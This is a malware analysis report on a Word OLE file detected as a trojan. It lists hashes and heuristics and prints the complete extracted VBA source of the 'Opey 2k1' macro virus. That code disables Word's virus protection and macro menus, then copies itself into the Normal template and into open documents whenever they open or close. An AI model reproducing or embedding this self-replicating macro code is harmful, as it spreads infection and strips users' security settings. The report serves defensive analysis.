Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 86164d5e41c68218…

MALICIOUS

Office (OLE)

51.0 KB Created: 2000-01-11 22:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-10
MD5: d1675a5263873aaba7f0d20a26fb7e5a SHA-1: 231708a8e68eb1f7e61a5950e6c95ae882b8714d SHA-256: 86164d5e41c682183127af26c2e603df1cc4d482a985e91b6e9da9f3fe140034
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OLE document containing VBA macros, including a Document_Open macro. This macro attempts to disable macro security features and modify document properties, indicating a malicious intent to execute further code or conceal its actions. The ClamAV signature 'Win.Trojan.C-286' also suggests a known trojan. The macro's attempts to manipulate the VBA editor and document settings are key indicators of its malicious function.

Heuristics 3

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 52,224 bytes but its declared streams total only 22,676 bytes — 29,548 bytes (57%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3423 bytes
SHA-256: 9994ec904588ac8fdf5b2c8b2bed576f5800cc386c52f75f404ae25c90b54d03
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Opey2k1() '[BLOOD-HOUND SCAPE]
On Error Resume Next
OpeyStrt = Options.DefaultFilePath(wdStartupPath)
Transitionfile = OpeyStrt & "\system.txt"
With CommandBars("Tools")
.Reset
.Controls("Macro").Reset
.Controls("Templates and Add-Ins...").Reset
.Controls("Customize...").Reset
End With
For i = NormalTemplate.VBProject.vbcomponents.Count To 1 Step -1
themodules = NormalTemplate.VBProject.vbcomponents(i).Name
If (themodules <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=themodules, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
With opendoc
For j = opendoc.VBProject.vbcomponents.Count To 1 Step -1
themodules = opendoc.VBProject.vbcomponents(j).Name
If (themodules <> "ThisDocument") And (themodules <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=themodules, Object:=wdOrganizerObjectProjectItems
Next j
End With
Next opendoc
Application.ShowVisualBasicEditor = False
Application.DisplayAlerts = wdAlertsNone
ActiveDocument.ReadOnlyRecommended = False
With Dialogs(wdDialogFileSummaryInfo)
.Author = "OPEY A." 'GREETINGS TO ALL FILIPINO PROGRAMMERS !!!
.Title = "OpeY 2k1 version - Philippines"
.Execute
End With
With Options
.ConfirmConversions = True
.VirusProtection = False
.SaveNormalPrompt = False
End With
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Customize...").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
opey = MacroContainer.VBProject.vbcomponents.Item(1).codemodule.lines(1, 75)
If Dir(Transitionfile) = True Then Kill Transitionfile
Open Transitionfile For Output Shared As #1
Print #1, opey
Close #1
If NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.Find("Opey", 1, 1, 10, 10) = False Then
numberoflines = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.countoflines
NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.DeleteLines 1, numberoflines
NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.AddFromFile Transitionfile
NormalTemplate.Save
End If
If ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.Find("Opey", 1, 1, 10, 10) = False Then
numberoflines = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.countoflines
ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.DeleteLines 1, numberoflines
ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.AddFromFile Transitionfile
ActiveDocument.Save
End If
Kill Transitionfile
End Sub
Private Sub Document_Close()
On Error Resume Next
If ActiveDocument.Undo = False And ActiveDocument.Redo = False Then
ActiveDocument.Close
Exit Sub
End If
Call Opey2k1
End Sub
Private Sub Document_Open()
On Error Resume Next
Call Opey2k1
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.